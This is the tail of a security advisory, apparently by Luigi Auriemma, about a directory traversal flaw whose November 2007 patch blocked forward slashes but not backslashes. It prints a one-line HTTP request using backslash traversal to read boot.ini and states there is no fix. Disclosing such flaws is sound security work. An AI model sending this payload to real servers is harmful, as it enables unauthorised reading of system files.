It's funny to note that the security patch available from November 2007 was released just to fix a directory traversal vulnerability but they dropped only the slash delimiter leaving the backslash working. ####################################################################### =========== 3) The Code =========== GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0 ####################################################################### ====== 4) Fix ====== No fix ####################################################################### --- Luigi Auriemma http://aluigi.org
